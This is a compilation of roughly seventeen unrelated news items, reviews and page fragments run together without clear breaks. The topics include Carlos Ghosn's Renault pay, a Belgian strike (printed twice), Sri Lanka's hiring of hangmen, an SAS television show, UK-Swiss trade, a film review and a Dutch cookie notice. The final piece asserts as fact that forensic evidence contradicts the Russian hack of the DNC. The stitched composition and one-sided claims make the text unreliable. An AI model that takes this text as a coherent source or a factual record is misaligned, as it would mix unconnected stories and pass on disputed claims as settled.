It said it had agreed to withdraw 25.9m worth of deferred and performance share awards for 2014-18 as it was "subject to his presence within Renault", a condition that was not met.

The board will also waive a "non-compete" clause worth another 4-5m equivalent to two years' pay.

It added that a decision on Mr Ghosn's 2018 pay package would be taken separately at a board meeting on 15 March.

Renault's decision comes as the French government is under pressure from "yellow vest" street protests over low pay and inequality.

Finance minister Bruno Le Maire had asked the administration's main board representative at the company to "ensure that Mr Ghosn's compensation is cut as much as possible", a ministry official told Reuters.

The announcement comes as it was revealed that two lawyers leading Mr Ghosn's defence team in Japan had left their roles.

Mr Ghosn was arrested on financial misconduct charges in November and was shortly afterwards ousted as chairman of Nissan - which is in a global alliance with Renault.

He has since been charged along with Nissan and a fellow director with failing to disclose more than $80m in 2010-2018 compensation payments that he had arranged to be paid later.

Mr Ghosn denies that the deals were illegal or required disclosure.

Renault had continued to back Mr Ghosn as boss until he was forced to resign and chairman and chief executive last month.

Last week, the company passed evidence to prosecutors that it had paid part of his 2016 wedding costs - in the first case of suspected misconduct at Renault.

Mr Ghosn's representatives have said he was unaware the 50,000 rental of a palace within the grounds of Versailles had been charged to the French company and that he now plans to repay it.Michael D Higgins started his three-day trip with a day of engagements in Birmingham on Monday, before spending Tuesday in Liverpool.

Irelands president will discover Liverpools links to the country as he spends the final day of his visit to England in the city.

Michael D Higgins started his three-day trip with a day of engagements in Birmingham on Monday, before spending Tuesday in Liverpool.

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On Wednesday, he and wife Sabina are due to meet members of the Irish diaspora at the Liverpool Irish Association headquarters, before visiting the citys Central Library where they will view material of Irish interest, including documents relating to those who fled from the Great Famine.

They will then visit the Liverpool World Museum where they will see artefacts which reflect the citys history as a port with significant Irish and other migratory influences.

On Tuesday, the President called for the warm relationship between Ireland and the UK to survive whatever the outcome of the Brexit odyssey as he addressed a business lunch.

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Earlier in the day, he and wife Sabina renewed their friendship with the Prince of Wales and Duchess of Cornwall when the foursome visited Liverpool Universitys Institute of Irish Studies.

At the start of his visit, the President gave a speech at Birmingham Town Hall in which he said the dark days of the UK and Irelands relationship were behind us.

Paying tribute to the 21 people who lost their lives in the 1974 Birmingham pub bombings, Mr Higgins said:The relationship between Ireland and the UK is now one of co-operation, strength and friendship.

The President and Mrs Higgins are due to depart for Dublin later on Wednesday.Belgium slowed to a standstill on Wednesday as a national strike closed airports, shuttered businesses and caused major disruption to railways. The strike, called by three unions, severely disrupted the country's public transport, particularly in Brussels, where a meeting of NATO ministers was set to take place.The strike affected post offices, schools, hospitals, waste collection, but also companies and shopping centres.In the Dutch-speaking city of Ghent, two protestors were slightly injured when a vehicle forced a picket line, local police told AFP. The driver was arrested."The movement is well followed everywhere and in all sectors," said CSC union general secretary Marie-Helene Ska on Bel-RTL radio.The national railway company expected half the trains nation-wide would be cancelled because of the movement, but high speed train traffic to London and Paris should be mostly spared.The air traffic control agency, Skeyes, announced on Tuesday that it would not allow any flights to or from the country because it could not determine with certainty which employees would come to work.No aircraft flying below 8,000 metres altitude would be allowed to fly over the country, the agency warned.Skeyes was not able to say how many flights or how many passengers would be affected."Even if the terminal will remain open, we ask all passengers not to go to the airport," said Brussels Zaventem airport, the largest in Belgium, in a statement.Charleroi airport, the second largest in Belgium and a local hub for low-cost giant Ryanair, had already announced its closure.The German carrier TUI fly will operate its scheduled Belgian flights from the nearest French and Dutch airports.Unions are calling for higher wages, benefits and pensions, and better end-of-career conditions. The movement is putting pressure on the right-of-centre government ahead of general elections in May.Brussels, home to NATO, will be hosting a meeting of defence ministers that day, with officials from throughout the transatlantic military alliance converging on the city.Dozens of supermarkets were closed, mainly in the French-speaking part of Belgium."Forty-four supermarkets are closed and we hope that the situation does not change during the day," said Carrefour spokesman Baptiste van Outryve to Belga news agency.The last general strike in Belgium was in December 2014.(AFP)

Belgium slowed to a standstill on Wednesday as a national strike closed airports, shuttered businesses and caused major disruption to railways.

The strike, called by three unions, severely disrupted the country's public transport, particularly in Brussels, where a meeting of NATO ministers was set to take place.

The strike affected post offices, schools, hospitals, waste collection, but also companies and shopping centres.

In the Dutch-speaking city of Ghent, two protestors were slightly injured when a vehicle forced a picket line, local police told AFP. The driver was arrested.

"The movement is well followed everywhere and in all sectors," said CSC union general secretary Marie-Helene Ska on Bel-RTL radio.

The national railway company expected half the trains nation-wide would be cancelled because of the movement, but high speed train traffic to London and Paris should be mostly spared.

The air traffic control agency, Skeyes, announced on Tuesday that it would not allow any flights to or from the country because it could not determine with certainty which employees would come to work.

No aircraft flying below 8,000 metres altitude would be allowed to fly over the country, the agency warned.

Skeyes was not able to say how many flights or how many passengers would be affected.

"Even if the terminal will remain open, we ask all passengers not to go to the airport," said Brussels Zaventem airport, the largest in Belgium, in a statement.

Charleroi airport, the second largest in Belgium and a local hub for low-cost giant Ryanair, had already announced its closure.

The German carrier TUI fly will operate its scheduled Belgian flights from the nearest French and Dutch airports.

Unions are calling for higher wages, benefits and pensions, and better end-of-career conditions. The movement is putting pressure on the right-of-centre government ahead of general elections in May.

Brussels, home to NATO, will be hosting a meeting of defence ministers that day, with officials from throughout the transatlantic military alliance converging on the city.

Story continues

Dozens of supermarkets were closed, mainly in the French-speaking part of Belgium.

"Forty-four supermarkets are closed and we hope that the situation does not change during the day," said Carrefour spokesman Baptiste van Outryve to Belga news agency.

The last general strike in Belgium was in December 2014.

(AFP)A freedom of information request found in-house communication skills training has been given to 11 other ministers in 2018-19.

Almost 1,000 was spent by the Scottish Government to pay for a public speaking course for Derek Mackay, a freedom of information request has uncovered.

Voicebusiness, an organisation offering communication skills training, was paid a total of 972.12, it reveals.

On its website, the firm claims it can help turn nervous wrecks into skilled presenters, polished public speakers.

As well as Mr Mackay, 11 other Scottish Government ministers received either media introductory training or refresher media training during 2018-19.

They were Maree Todd, Shirley-Anne Somerville, Mairi Gougeon, Ivan McKee, Ash Denholm, Clare Haughey, Kate Forbes, Ben Macpherson, Joe FitzPatrick, Graeme Dey and Christina McKelvie.

Only Mr Mackays cost the taxpayer as the training for the 11 ministers was provided by the Scottish Governments communications department.

The figures show spending on courses over the last five years, with a total of 6,240 paid to Pink Elephant Communications over 2014-15 for media training for four Scottish ministers.

A Scottish Government spokeswoman said: In common with senior positions in other large organisations a range of training is made available to ministers, including courses in media and public speaking skills.

This training has an important role in supporting Ministers in their delivery of official government business. These courses are delivered in-house where possible.

Scottish Conservative MSP Murdo Fraser said: Derek MacKay may have felt he needed to spend public money to change his oratorical style from Dalek to Demosthenes but its not speaking lessons he needed  its a course in how not to fleece hard-working people in Scotland.

This money from the taxpayer may have helped him deliver the budget more eloquently but its contents remain deeply troubling and will have a real impact on family finances right across Scotland.One year ago, on Valentines Day, 17 students died when a gunman opened fire at Marjory Stoneman Douglas High School in Parkland, Florida. The incident remains one of the deadliest mass shootings in modern U.S. history, among other recent massacres like the 2012 Sandy Hook school shooting in Connecticut, where 27 students were killed, and the 2016 shooting at Pulse nightclub in Florida, where 49 people were gunned down.

Parkland students Isabel Chequer, Samantha Fuentes, and Ashley Baez were all injured on the day of the Parkland shooting. In the months since the incident, theyve marched, theyve rallied, and theyve lobbied for better gun-control policies. But theyve also struggled  bravely  to recover from the trauma of that day.

When I enter a place, I sort of look where I can go in case of an emergency, or sometimes I just see someone with a backpack and I think, Do you think they can have a gun in there? said Chequer. And it doesnt seem like it would be that big of a change, but its a huge change in my life.Dog owners in a French town are being threatened with fines if their pets bark too much (Flickr)

The problem of excessive barking from dogs in a French town has caused the mayor to take drastic action.

Plagued with unbearable noise for years, Jean-Pierre Estienne, the mayor of Feuquieres in northern France, has reportedly decided to introduce a 60 fine on pet owners whose dogs are caught constantly yapping.

Mayor Estienne believes the measures are necessary because residents in the town, that has a population of around 1,500, have been complaining about the noise for years.

The mayor of Feuquieres reportedly wants dogs to keep quiet (National Park Service)

He told Le Parisien: The goal is not to ban dogs.

The town has nothing against dogs, but when we decide to have them, we educate them.

The goal is to respond to an unbearable situation experienced by some residents of the town, who complained for years.

MORE: Rare tiger dies during fight at Longleat Safari Park  a week after tiger death at London Zoo

MORE: Iranian admits stabbing wife to death after she refused to support immigration application to remain in UK

The new rules will mean dogs will be banned from going anywhere without their owners, who must stop their pets from prolonged or repeated barking.

Animal rights activist Stephane Lamart slammed the new rules, telling Le Monde: Dogs have a mouth, its to bark!

People are happy when they give the alert in case of burglary.What happened?

Labour MP Neil Coyle launched an astonishing attack on Jeremy Corbyn on Twitter today. The MP for Bermondsey and Old Southwark, who supported Remain during the referendum campaign and has since spoken out in favour of a soft Brexit, accused his partys leader of driving members away from Labour and allowing antisemitism to continue in his name. He wrote: I cant make Parliamentary Committee today and as emails are screened I thought Id tweet the boss instead. So Jeremy Corbyn here goes. Members leaving in their thousands over Brexit. Councillors quitting. MPs will leave. Antisemitism continues in your name. Only you can change all this.

What does this say about Labour?

The stinging attack is an indication of deep divides within Labour  and it isnt the first sign of disharmony within the party. The fact that Mr Coyle chose to air his grievances publicly suggests that MPs feel they are not being listened to.

Figures seen by the Guardian this week suggest Mr Coyle is right about members quitting over Brexit, with membership down 10% since its peak in summer 2017. Opposition MPs themselves seem unable to come together behind a single Brexit stance. A number are openly campaigning for a second referendum, something Mr Corbyn has stopped short of endorsing. Another row broke out this week after the Labour leader wrote to Theresa May outlining steps she must take to secure opposition support for her deal with the EU, with MPs accusing him of pushing through a Tory Brexit.

The accusation that Mr Corbyn is allowing antisemitism to flourish within Labour follows the news on Monday night that Labour had received 673 allegations of anti-Semitism by its members over the past 10 months, leading to 12 individuals being expelled.

Read more about this story

Labour MP launches astonishing attack on Jeremy Corbyn (Yahoo News UK)

Billboard demands Corbyn back second referendum (Evening Standard)

EU tells May to move Brexit red lines sooner rather than later (The Independent)

Keir Starmer calls for tougher Labour rules to expel antisemitic members (The Guardian)

Story continues

Man arrested after bodies of three elderly men found

A man has been arrested on suspicion of murder after the bodies of three men in their 80s were found in two properties in Exeter. Police called the killings unprecedented in our city but said the investigation was still in its early stages. The deaths of the three men, one aged 80 and twins aged 84, are being treated as suspicious and are being formally linked. Read the full story here (Sky News)

Tommy Robinson proclaims himself king of Islam

Tommy Robinson has boasted about scoring drugs and proclaimed himself king of the whole Islam race in newly emerged footage. The far-right activist, who has several criminal convictions including for cocaine possession, claimed: No matter where Ive gone in the world I score  Ive gone to f***ing Qatar, to Doha, and scored gear on the sesh while theyre all praying. Everywhere mate, every city Ive gone to. In another clip, he sings: Im going to punch you in the head, kick you in the face, because I am the king of the whole Islam race. Read the full story here (Independent)

Disney have released a teaser trailer for the highly anticipated Frozen 2. The sequel brings back some of the original cast including Idina Menzel and Kristen Bell as the voices of sisters Elsa and Anna.

The Government insisted today that Britain will leave the EU on March 29, despite apparent overheard remarks by a senior UK Brexit negotiator claiming MPs have to choose between Theresa Mays deal and an Article 50 extension. In our Yahoo user poll which has received more than 33,000 votes, more than half believe Brexit wont be delivered on time. Read the full story here and have your say below.

To view this content, you'll need to update your privacy settings. Please click here to do so.

Malaysian authorities have seized a record 30 tonnes of pangolin and pangolin products which a local police chief estimated to be worth 1.6 million. The pangolin is a scaly mammal and is said to be the most trafficked animal on Earth. The creatures scales contain keratin, the same material as human fingernails, and they are widely used in traditional Chinese medicine. Its meat is also considered a delicacy in several countries in Asia. Read the full story here (Sky News)By Alan Baldwin

LONDON, Feb 13 (Reuters) - Williams have cancelled plans to run their new Formula One car for the first time on Saturday as they rush to be ready for the start of pre-season testing in Spain next week.

The former champions, who finished last overall in a dire 2018 season, are not the only team racing against time, with Renault also working flat out to complete their car.

Both teams held livery launches at their factories in England this week but the cars on display were essentially last year's models with fresh paintwork and branding and new front wings.

"We have had an extremely aggressive engineering programme over the winter," said Williams deputy principal Claire Williams on Wednesday.

"As such, we have taken the decision not to run our car during our filming day this weekend in order to allow the team to maximise the time at the factory before we head to Barcelona for the first day of the test on February 18."

Champions Mercedes have had no such headaches, the team running their new W10 for the first time at Silverstone on Wednesday.

Formula One teams always operate to tight margins in designing and building cars, seeking to maximise development time, and this year has seen significant new aerodynamic regulations come into play.

Renault are also due to have their car on track at the Circuit de Catalunya on Saturday but team boss Cyril Abiteboul told reporters that was looking uncertain.

"It's super-tight," the Frenchman told reporters of the timing.

"As we speak, we are 100 percent sure of nothing," he added when asked whether the team would be ready for the start of testing.

"There will be two drivers, they will be there if you want to have a chat and a coffee. We should have a motorhome and a coffee machine working, but that is as far as I am 100 percent sure."

Abiteboul said time spent in the wind tunnel had a direct impact on performance but Renault, fourth overall last season and hoping to close the gap to the top three, might have to be more conservative next year.

"You don't want to turn up and have to shake down your car and realise that there is something that isn't working. It is a balancing exercise," he said. "We have been a step too far, and we will maybe have to review it for next year." (Reporting by Alan Baldwin, editing by Christian Radnedge)* EU: 23 states pose money laundering, terror financing risks

* Four U.S. territories listed, alongside Panama, Nigeria

* Britain says list could cause trouble for companies

* EU lawmaker says list misses Russia, Azerbaijan, London (Adds British reaction, bank figures)

By Francesco Guarascio

STRASBOURG, Feb 13 (Reuters) - The European Commission added Saudi Arabia, Panama, Nigeria and other jurisdictions to a blacklist of nations seen as posing a threat because of lax controls on terrorism financing and money laundering, the EU executive said on Wednesday.

The move is part of a crackdown on money laundering after several scandals at EU banks but has been criticised by several EU countries including Britain worried about their economic relations with the listed states, notably Saudi Arabia.

The Saudi government media office did not immediately respond to a request for comment. Panama said it should be removed from the list because it recently adopted stronger rules against money laundering.

Despite pressure to exclude Riyadh from the list, the commission decided to list the kingdom, confirming a Reuters report in January.

Apart from reputational damage, inclusion on the list complicates financial relations with the EU. The bloc's banks will have to carry out additional checks on payments involving entities from listed jurisdictions.

The list now includes 23 jurisdictions, up from 16. The commission said it added jurisdictions with "strategic deficiencies in their anti-money laundering and countering terrorist financing regimes".

Also newcomers to the list are Libya, Botswana, Ghana, Samoa, the Bahamas and the four United States territories of American Samoa, U.S. Virgin Islands, Puerto Rico and Guam.

The other listed states are Afghanistan, North Korea, Ethiopia, Iran, Iraq, Pakistan, Sri Lanka, Syria, Trinidad and Tobago, Tunisia and Yemen.

Bosnia, Guyana, Laos, Uganda and Vanuatu were removed.

BAD FOR BUSINESS?

The 28 EU member states now have one month, which can be extended to two, to endorse the list. They could reject it by qualified majority. EU justice commissioner Vera Jourova, who proposed the list, told a news conference that she was confident states would not block it.

Story continues

She (Munich: SOQ.MU - news) said it was urgent to act because "risks spread like wildfire in the banking sector."

But concerns remain. Britain, which plans to leave the EU on March 29, said on Wednesday the list could "confuse businesses" because it diverges from a smaller listing compiled by its Financial Action Task Force (FATF), which is the global standard-setter for anti-money laundering.

The FATF list includes 12 jurisdictions - all on the EU blacklist - but excludes Saudi Arabia, Panama and U.S. territories. The FATF will update its list next week.

London has led a pushback against the EU list in past days, and at closed-door meetings urged the exclusion of Saudi Arabia, EU sources told Reuters. [https://reut.rs/2t8CHJs ]

The oil-rich kingdom is a major importer of goods and weapons from the EU. Several top British banks have operations there. Royal Bank of Scotland (LSE: RBS.L - news) is the European bank with the largest turnover in Saudi Arabia, with around 150 million euros ($169.28 million) in 2015, according to public data.

HSBC is Europe's most successful bank in Riyadh. It booked profits of 450 million euros in 2015 in the kingdom but disclosed no turnover and has no employees there, according to public data released under EU rules.

"The UK will continue to work with the Commission to ensure that the list that comes into force provides certainty to businesses and is as effective as possible at tackling illicit finance," a British Treasury spokesman said.

MISSING "WASHING MACHINES"

Criteria used to blacklist countries include weak sanctions against money laundering and terrorism financing, insufficient cooperation with the EU on the matter and lack of transparency about the beneficial owners of companies and trusts.

Five of the listed countries are already included on a separate EU blacklist of tax havens. They are Samoa, Trinidad and Tobago and the three U.S. territories of American Samoa, Guam and U.S. Virgin Islands.

Critics said the list fell short of including several countries involved in money-laundering scandals in Europe.

"Some of the biggest dirty-money washing machines are still missing. These include Russia, the City of London (LSE: CIN.L - news) and its offshore territories as well as Azerbaijan," said Greens lawmaker Sven Giegold, who sits in the European Parliament special committee on financial crimes.

Jourova said the commission will continue monitoring other jurisdictions not yet listed. Among the states that will be closely monitored are the United States and Russia. ($1 = 0.8861 euros) (Additional reporting by Alistair Smout in London; Writing by Francesco Guarascio in Brussels; editing by Philip Blenkinsop and Mark Heinrich)Sri Lanka has advertised for a new hangman aged between 18 and 45. The advertisement is issued by the commissioner general of prisons of Sri Lanka. The advertisement lays stress on the applicant to be of "excellent moral character" and have" very good mind and mental strength".

Sri Lanka will be hiring two executioners after president Maithripala Sirisena told parliament that the death punishment would be reinstated within two months. This will break a 43-year moratorium on hanging which is the recognized form of execution in Lanka. The Guardian has reported that the president has been praising Rodrigo Dutertes campaign against the drugs as an example to the world and had said that the death penalty would be reinstated for drug dealers last July.

Death penalty

Last week the Lanka president told parliament that the death penalty would be reinstated within two months. This announcement has led to a flurry of activity, and the prison management has advertised for two hangmen. The last execution took place in Lanka 43 years back.

Though the punishment remains in the statute books which are a legacy of the British Raj, a moratorium had been issued, and death sentences were routinely commuted to life in prison. The Independent has reported that the last hangmen quit in 2014 without ever having executed anyone. He cited stress as a reason after seeing the gallows for the first time. Another executioner who was hired last year never joined duty.

Human rights groups

Sirisena's move to reinstate the death penalty has been criticized by many human rights groups in Sri Lanka. These groups warn the bloody scenes being played out in the Philippines which also suffers from the malice of terrorism like the recent church bombing could very well be part of the scenario in Sri Lanka.

Drug trafficking

Drug trafficking is on the rise, and as per the latest report, the names of 20 drug traffickers sentenced to death has been forwarded to the Lanka president. Among them are two Pakistani and one female. In the US, president Trump who recently called for the withdrawal of troops from Syria has called for stiffer execution of death sentences after the Pittsburgh synagogue killings.

Last word

Offences like murder and death by rape have attracted the death penalty, but these have not been carried out for 43 years. It is not clear whether the reinstatement of death by hanging will also apply to these crimes. Lanka has a long history of capital punishment, and in 1956 it was abolished but reinstated a year later. Subsequently, in 1976 it was suspended and was not invoked even during the worst days of the civil war with the LTTE.After being captured by the Chilean Military Hunter Force at the end of last week's episode, the Recruits were faced with the gruelling interrogation phase of the SAS Selection Process. "This is what all the training builds up too... the Interrogation Phase," Ant told the camera.

Using techniques not permitted by the "British Military" the man known only as "The Umpire," whose identity is protected for security reasons and his team tested the Recruits for the final time. Out of the initial twenty-five Recruits that began the process, only eight remained four men and four women.

Stages of interrogation

While captured the Recruits were bound with bags over their heads and made to sit or stand in "Stress Positions," Foxy remembered his interrogation phase saying "Every bit of you is aching in places that you don't think you can ache." Another way that the Recruits were made to feel uncomfortable and disorientated was the use of headphones that played repetitive white noise and the sounds of women screaming and babies crying.

"You don't know how people are gonna react," Billy told the camera as he opened up about this stage of Interrogation "Some people just cannot handle it."

The "Interrogation Phase" begins with "Harshing" where Recruits were faced with loud and aggressive interrogation techniques and also stripped of their clothes in 5-degree temperatures, "It's a very vulnerable situation" Foxy told the camera.

These techniques also aimed to disorientate the uncomfortable Recruits.

After four hours of interrogations, #17 Vicki, #14 James and #21 Louise all asked to see "The Umpire" and chose to "VW" from the process. Leaving just five Recruits and a further fourteen hours of interrogations.

The Recruits were all given the same cover story to tell during their interrogations, Ollie stating "You have to be highly skilled at manipulating someone" as he spoke about telling a good cover story "It's an art." Liz, one of the "Interrogators" also stated that "A good prisoner is trying to protract from the real story behind the cover story for as long as possible."

Another technique used by the "Interrogators" is the "Group Interrogation" that brought all the remaining Recruits together after holes had been found in their cover story.

"It's keeping yourself and your buddies alive," told the camera. The "DS" all watched the interrogations on a monitor on the same compound.

The final interrogation technique was a friendlier one, that saw the "Interrogators" attempt to befriend their "Prisoners" in order to get more information out of them. Ollie described what made a good prisoner during this phase "Its that emotional intelligence, helps you build a rapport.

Helps you communicate effectively at all levels." While Liz described the benefits of the technique "They just forget that you're the enemy."

Three Recruits

The Recruits reactions throughout the interrogation phase, especially during the final technique decided their fate on whether they would pass the Selection Process or not. After eighteen hours of interrogation and five Recruits still remaining, the "DS" decided to withdraw #25 Hannah and #18 Rick based on their performances.

Orthopaedic Surgeon, Lou better known during her time a #24, was the only Woman to pass the course. Ant telling her "You've restored my faith in allowing women into the Military, especially on the front line because if they're all like you, then you can certainly get the job done."

#6 Milo, a Water Engineer and #7 Mark a Firefighter who had built up a close friendship during the show, also passed the final phases of the Selection Process.As part of the EU, the UK benefits from 40 established trade deals with over 70 countries. When we leave the EU on 29 March 2019, Britain will no longer benefit from these deals and will need to secure new relationships with these countries in our own right if we dont wish to be held to WTO rules as soon as the UK-EU relationship comes to an end.

In the hopes of avoiding hefty tariffs and difficult trade agreements, the UK signed a deal with Switzerland on Monday (11 March 2019) ensuring many of the same trade requirements we have currently will be able to continue following the UKs departure from the EU.

This ensures security of the 32bn trading market between the UK and Switzerland every year and benefits around 15,000 UK exporters.

In a statement, Swiss officials commented "This new agreement lays the foundations for the two parties to continue their sound economic and trade relations once the United Kingdom has left the EU."

The UK has signed a trade continuity agreement with Switzerland, ensuring  and  businesses can continue to trade freely when we leave the EU.#Didyouknow UK-Swiss trade totalled over 30bn in 2018. #FreeTradeUK pic.twitter.com/VvMJZ8ZLLN  Department for International Trade (@tradegovuk) 11 February 2019

Although not part of the EU themselves, Switzerland has a long history of trade deals with European member states, with Britain being one of their major trading partners.

This deal is vital to continue the close relationship which benefits both countries.

Whats been agreed?

In the biggest trade deal signed since the Brexit referendum results were heard in 2016, this deal not only secures our trading relationship with Switzerland but also secures the rights to reside for 43,000 British nationals currently living in Switzerland as well as the 35,000 Swiss nationals living in Britain even after Brexit.

Within the EU Single Market, the UK and Switzerland have around 100 trade agreements which have been replicated as far as possible, including agreements concerning transport and insurance.

In terms of what "as far as possible" actually means, government officials have been slightly quieter other than the agreement will simplify trade between our two countries as well as ensuring businesses will be able to continue trading freely, with no additional tariffs, post-Brexit.

This Mind the Gap policy is intended to bridge the gap should the UK leave the EU on 29 March with no deal, and will come into effect provisionally from 30 March.

If the UK is able to reach a deal with the EU then alternative agreements will come into play.

Where else have we secured deals?

Despite assurances in 2017 that we would be able to replicate the 40 free trade agreements before we leave the EU in order to avoid disruption for businesses and global trade, its looking like we may struggle to reach binding agreements before the deadline of 29 March.

Currently, we have continuity agreements with Switzerland, Chile, The Faroe Islands and Eastern and Southern Africa, which will reflect the deals we currently have through the EU.

Similarly, mutual recognition agreements have been signed with Australia and New Zealand. Under these rules, a product which can be legally sold in one country will be recognised as a lawful product in the other.

Worryingly, however, these are amongst the only trade deals Britain has been able to secure since the referendum in 2016, with concerns that other countries are unable or unwilling to commit to agreements with the UK until the outcome of Brexit is better known. In particular, the uncertainty surrounding the Irish Border has been claimed as vital to be secured before the US will even consider a favourable trade deal.

Crashing out with no agreement "would be harmful in many aspects, politically and also economically," Peter Altmaier says https://t.co/BwGtgN2glQ  Bloomberg Brexit (@Brexit) 12 February 2019

Although the UK is pursuing trade deals with many countries  most notably America, Japan, South Korea, China and Canada  it has been called an emergency situation by the director of the Confederation of British Industry (CBI) that more deals have not been secured at this time, meaning we could very well end up having to abide by WTO regulations from 29 March if further deals cannot be reached.Large fields have given Democrats some trouble in the past, but things did turn out okay in the 2008 election. Photo: STAN HONDA/AFP/Getty Images

Its been obvious for a while that the Democratic presidential field for 2020 is going to be pretty large, and could produce an unexpected nominee, much like the comparably vast Republican field of 2016 that gave us our very strange 45th president. But as Nate Silver explains, this could be the largest presidential field in any one party since the advent of near-universal state primaries and caucuses made announced candidacies all but essential for anyone wanting to become a major-party nominee.

Get your political fix. Get the Intelligencer newsletter, a political magazine that unfolds right in your inbox. Email This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply. Terms & Privacy Notice By submitting your email, you agree to our Terms and Privacy Notice and to receive email correspondence from us.

Silver counts nine announced candidates with at least potentially viable profiles (plus one, Richard Ojeda, who announced and then dropped out), and then another 12 that he figures are more likely than not to run in the end. So even without such remote possibilities as New Yorkers Michael Bloomberg, Bill de Blasio, and Andrew Cuomo, or retreads John Kerry and Hillary Clinton, or House backbenchers Tim Ryan and Seth Moulton, we are likely looking at the largest presidential field ever.

The largest Democratic fields up until now were in 1972 (15 candidates) and 1976 (16 candidates). Those two cycles, interestingly enough, produced the least likely Democratic nominees in recent memory, the ideologically marginal (by contemporary standards) George McGovern and then the very obscure one-term Georgia governor Jimmy Carter. McGovern, as you probably know, lost 49 states; Carter narrowly won what was supposed to be a Democratic slam dunk by putting together an unusual coalition rooted in the Deep South, a region where Democrats had not done well at all since 1960. So neither nominating contest went the way most party elites would have preferred, for sure.

Putting aside the aforementioned 2016, 1972, and 1976 cycles, there have been seven other presidential fields that reached double digits: Democrats in 1988, 2004, and 2008, and Republicans in 1996, 2000, 2008 and 2012. Only two of them produced victory, and that includes a 2000 George W. Bush election that required overtime and an intervention by the Supreme Court.

So its reasonably safe to say that very large presidential fields have more often than not led to defeat and/or eccentric nominees. Theyve also often produced nominees who didnt get anything close to a majority of the popular vote in the primaries, which was less problematic back when Democrats didnt have the kind of strict proportionality in delegate awards that they do now. As Silver observes:

The three past elections when the field was as large as its shaping up to be in 2020 all resulted in party elites failing to get their way. They also resulted in a nominee who failed to get 50 percent of the popular vote in the primaries, which could yield a contested convention since Democratic delegate allocation rules are highly proportional to the popular vote. In a field of 20 candidates, for instance, youd project  that the eventual nominee would have either 32 percent or 40 percent of the popular vote, depending on whether you use a linear or logarithmic trendline.

Yikes.

Now its also entirely possible that a giant field could get winnowed early on, as it was among Republicans in 2000 (when George W. Bush basically had a one-on-one fight with John McCain after New Hampshire) and among Democrats in 2008 (when Obama and Clinton largely stood alone after New Hampshire). If, say, Biden and Sanders both run and rout the field in Iowa and New Hampshire, a lot of candidates might quickly drop out. But as Silver notes, the size of the field itself represents a pretty big bet by a lot of people that nobodys going to run away with this thing.

Democratic voters like a lot of their choices and feel optimistic about their chances of beating Trump in 2020. The large field is both a sign that there may not be consensus about the best candidate and a source of unpredictability.

If the list of Democratic candidates does top 20 and stays there as actual voting approaches, we should all get ready for a wild ride.Government Reporter

Erin came to Tyler from Vermont, where she worked for VTDigger.org and previously the Rutland Herald. She received her B.A. in Economics and Spanish from the State University of New York at Stony Brook, where she also attended journalism school.It's the first quarter of the year, which means its time for the latest Liam Neeson punches things series. It began with Taken and its two sequels. Then we got The Grey, then A Walk Among the Tombstones and last year The Commuter.

Now there is Cold Pursuit, a remake of the 2014 Norwegian film Kraftidioten, which basically translates to Prize Idiot in English. Its original English title was In Order of Disappearance, which is somehow worse.

Rating: ***1/2 (out of 5)

The film follows Nelson Nels Coxman (Neeson), a snowplow driver in the resort town of Kehoe, Colorado. On the night he receives the Citizen of the Year award, his son, Kyle (Michael Richardson), is kidnapped and given a lethal injection by a group of gangsters.

Nels refuses to believe his son was a drug addict, while his wife, Grace (Laura Dern) emotionally shuts downs.

When Nels finds one of Kyles co-workers, who escaped the gangsters, hiding in his shop, he learns that Kyle was murdered for something he wasnt involved with.

Then Nels does what any sane, rational man would do  seek bloody revenge.

Nels reaches out to his brother, Brock (William Forshythe), a reformed gangster. Brock discovers that the men who killed Kyle were working for a crime boss named Viking, the alias for wealthy socialite and overly protective father, Trevor Calcote (Tom Bateman).

As Vikings men begin to disappear, he wrongly assumes it is the work of White Bull (Tom Jackson), the head of a Native American drug operation that has a truce with Vikings father.

While Nels continues his journey for vengeance, war breaks out between White Bull and Viking, leaving a trail of bodies and missing gangsters all over Kehoe.

Cold Pursuit is directed by Hans Petter Moland, the Norwegian filmmaker responsible for In Order of Disappearance. Its nice when the director of the original makes the English remake, but it doesnt always work.

I had never even heard of the original film, so I cant really compare the two, but it has a distinct Eurpoean flair.

The most remarkable thing about Cold Pursuit is despite being billed as an action flick, its really not. There is action, but the film is more of a dark comedy. A streak of black humor running through the film includes an ongoing body count (half of the deaths are chuckle worthy).

Cold Pursuit isnt life changing. Its not going to be analyzed for decades by film critics, except maybe for someone to put on a list of underrated gems. However, it is fun to watch. A movie doesn't have to be a classic to be enjoyed.Cookies op Tweakers

Tweakers is onderdeel van DPG Media en maakt gebruik van cookies, JavaScript en vergelijkbare technologie om je onder andere een optimale gebruikerservaring te bieden. Ook kan Tweakers hierdoor het gedrag van bezoekers vastleggen en analyseren. Door gebruik te maken van deze website, of door op 'Cookies accepteren' te klikken, geef je toestemming voor het gebruik van cookies. Wil je meer informatie over cookies en hoe ze worden gebruikt? Bekijk dan ons cookiebeleid.If the Russians actually had conducted an internet based hack of the DNC computer network then the evidence of such an attack would have been collected and stored by the National Security Agency. The technical systems to accomplish this task have been in place since 2002. The NSA had an opportunity to make it clear that there was irrefutable proof of Russian meddling, particularly with regard to the DNC hack, when it signed on to the January 2017 Intelligence Community Assessment, regarding Russian interference in the 2016 Presidential election :

The FBI, CIA and NSA claim that the DNC emails published by WIKILEAKS on July 22, 2016 were obtained via a Russian hack, but more than three years after the alleged hack no forensic evidence has been produced to support that claim. In fact, the available forensic evidence contradicts the official account that blames the leak of the DNC emails on a Russian internet intrusion. The existing evidence supports an alternative explanation--the files taken from the DNC between 23 and 25May 2016 and were copied onto a file storage device, such as a thumb drive.

We also assess Putin and the Russian Government aspired to help President-elect Trumps election chances when possible by discrediting Secretary Clinton and publicly contrasting her unfavorably to him. All three agencies agree with this judgment. CIA and FBI have high confidence in this judgment; NSA has moderate confidence.

The phrase, moderate confidence is intelligence speak for we have no hard evidence. Thanks to the leaks by Edward Snowden, we know with certainty that the NSA had the capability to examine and analyze the DNC emails. NSA routinely vacuumed up email traffic transiting the U.S. using robust collection systems (whether or not anyone in the NSA chose to look for this data is another question). If those emails had been hijacked over the internet then NSA also would have been able to track the electronic path they traveled over the internet. This kind of data would allow the NSA to declare without reservation or caveat that the Russians were guilty. The NSA could admit to such a fact in an unclassified assessment without compromising sources and methods. Instead, the NSA only claimed to have moderate confidence in the judgement regarding Russian meddling. If the NSA had hard intelligence to support the judgement the conclusion would have been stated as full confidence.

